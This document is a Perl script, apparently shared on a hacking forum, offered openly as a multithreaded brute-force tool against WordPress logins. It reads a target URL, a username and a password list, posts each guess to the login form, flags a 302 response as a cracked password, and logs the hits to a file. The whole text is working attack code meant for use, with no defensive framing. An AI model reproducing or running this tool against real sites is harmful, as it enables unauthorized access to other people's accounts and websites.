Single Wordpress brute Force (Threads on)

#!/usr/bin/perl
# Module Needed :)
use strict;
use LWP;
no warnings;
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Request;
use Term::ANSIColor;
use Win32::Console::ANSI;
##############################
if($^O =~ /Win/){
   system("cls");
}else{
   system("clear");
}
my $ua = LWP::UserAgent->new;
$ua->timeout(15);
$ua->agent('Mozilla/5.0');
print color("bold red"),"[+] Single Wordpress brute Force (Threads on) \n";
print color("bold red"),"[+] coded by Mr_AnarShi-T\n";
print color("bold red"),"[+] Gr33T's : Boy Security & cold Zero & Dod & Normal & Orange man & hij\@ker \n";
print color("bold red"),"[+] Home : Www.HackTeach.Org & My Lab :) \n\n";
print color 'reset';
print color("green"),"[+] Enter Target : ";
print color 'reset';
my $target=<STDIN>;
chomp($target);
print color("green"),"\n[+] Enter User : ";
print color 'reset';
my $user=<STDIN>;
chomp($user);
print color("green"),"\n[+] Enter Passwords list : ";
print color 'reset';
my $file=<STDIN>;
chomp($file);
print color("green"),"\n[+] Enter Thread Number : ";
print color 'reset';
my $thread=<STDIN>;
chomp($thread);
my $threads = $thread;
my @Passwords : shared;
GetPasswords();
while (threads->list) {}
print color ('green');
print "\n[+] Password Founded : ";
print color 'reset';
print"".scalar(@Passwords)."\n\n";
CheckPasswords();
while (threads->list) {}
sub GetPasswords {
        open( LNK, "$file" ) or die "$!\n";
        while( defined( my $line_ = <LNK> ) ) {
                chomp( $line_ );
                push( @Passwords, $line_ );
        }
        close( LNK );
}
sub CheckPasswords {
        foreach my $Password( @Passwords ) {
                my  $ctr = 0;
                foreach my $thr ( threads->list ) { $ctr++; }
                if ($ctr < $threads){
                        threads->create( \&Wordpress,$Password );
                }
                else { redo; }
        }
}
sub Wordpress {
my $Password = shift ;
chomp ($Password);

        my $response = $ua->post($target,{
                        'log' => $user,
                        'pwd' => $Password,
                        'wp-submit' => 'Log in',
        });
        my $code = $response->code;
        print "[+] Testing $Password \n";
        if($code =~ /302/){
        print "\n\n\t[*] Password Cracked: $Password\n\n";
        open(BEN,">>log.txt");
        print BEN "$target\n";
        print BEN "=> $Password\n";
        close(BEN);
        }
        else {
        "\n[+] Wrong Password : $Password";
        }

        threads->detach();
        }